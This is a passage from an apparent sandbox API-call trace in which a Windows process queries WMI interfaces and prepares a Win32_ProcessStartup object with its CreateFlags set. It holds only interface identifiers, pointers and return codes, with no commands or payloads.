riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0120.942] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0120.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0120.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0120.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b5115f8) returned 0x0 [0120.942] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5115f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.942] WbemLocator:IUnknown:Release (This=0x1b5115f8) returned 0x3 [0120.942] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0120.942] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0120.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b5116e0) returned 0x0 [0120.942] WbemLocator:IRpcOptions:Query (in: This=0x1b5116e0, pPrx=0x1b511718, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0120.942] WbemLocator:IUnknown:Release (This=0x1b5116e0) returned 0x3 [0120.942] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0120.942] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0120.942] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0120.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4ceb90) returned 0x0 [0120.943] WbemLocator:IUnknown:AddRef (This=0x1b4ceb90) returned 0x4 [0120.943] WbemLocator:IUnknown:Release (This=0x1b4ceb90) returned 0x3 [0120.943] WbemLocator:IUnknown:Release (This=0x1b4ceb90) returned 0x2 [0120.943] SysStringLen (param_1=0x0) returned 0x0 [0120.943] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0120.943] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0120.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511718) returned 0x0 [0120.943] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x3 [0120.943] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0120.943] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0120.943] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0120.943] IWbemServices:GetObject (in: This=0x1b4ceb90, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d9110, ppCallResult=0x0) returned 0x0 [0120.946] IWbemClassObject:Get (in: This=0x1b4d9110, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0120.946] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0120.946] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0120.947] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0120.947] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0120.947] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0120.947] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.947] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b45da90) returned 0x0 [0120.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45da90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0120.948] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45da90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4aef20) returned 0x0 [0120.948] WbemDefPath:IUnknown:Release (This=0x1b45da90) returned 0x0 [0120.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4aef20) returned 0x0 [0120.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0120.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0120.948] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0120.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0120.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0120.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b45d430) returned 0x0 [0120.948] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d430, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.948] WbemDefPath:IUnknown:Release (This=0x1b45d430) returned 0x3 [0120.948] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0120.948] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0120.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0120.949] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0120.949] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0120.949] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0120.949] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0120.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4aef20) returned 0x0 [0120.949] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0120.949] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0120.949] WbemDefPath:IWbemPath:SetText (This=0x1b4aef20, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0120.949] IWbemClassObject:Get (in: This=0x1b4d9110, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8fd8*=0, plFlavor=0x27f8fdc*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8fd8*=19, plFlavor=0x27f8fdc*=0) returned 0x0 [0120.949] IWbemClassObject:Get (in: This=0x1b4d9110, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8fd8*=19, plFlavor=0x27f8fdc*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8fd8*=19, plFlavor=0x27f8fdc*=0) returned 0x0 [0120.949] IWbemClassObject:Put (This=0x1b4d9110, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0120.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0120.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0120.951] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0120.951] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.951] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0120.951] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0120.951] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0120.951] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.952] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d2980) returned 0x0 [0120.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0120.952] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2980, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4aece0) returned 0x0 [0120.952] WbemDefPath:IUnknown:Release (This=0x1b4d2980) returned 0x0 [0120.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4aece0) returned 0x0 [0120.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0120.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0120.953] WbemDefPath:IUnknown:AddRef (This=0x1b4aece0) returned 0x3 [0120.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0120.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0120.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d2740) returned 0x0 [0120.953] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2740, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.953] WbemDefPath:IUnknown:Release (This=0x1b4d2740) returned 0x3 [0120.953] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0120.953] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0120.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0120.953] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x2 [0120.953] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x1 [0120.953] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0120.953] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0120.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4aece0) returned 0x0 [0120.953] WbemDefPath:IUnknown:AddRef (This=0x1b4aece0) returned 0x3 [0120.953] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x2 [0120.953] WbemDefPath:IWbemPath:SetText (This=0x1b4aece0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0120.953] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0120.953] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0120.953] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.954] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0120.954] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0120.954] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0120.954] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.954] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d2920) returned 0x0 [0120.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2920, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0120.954] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2920, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d2c40) returned 0x0 [0120.954] WbemLocator:IUnknown:Release (This=0x1b4d2920) returned 0x0 [0120.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d2c40) returned 0x0 [0120.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0120.954] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0120.955] WbemLocator:IUnknown:AddRef (This=0x1b4d2c40) returned 0x3 [0120.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0120.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0120.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0120.955] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0120.955] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0120.955] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2c40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: 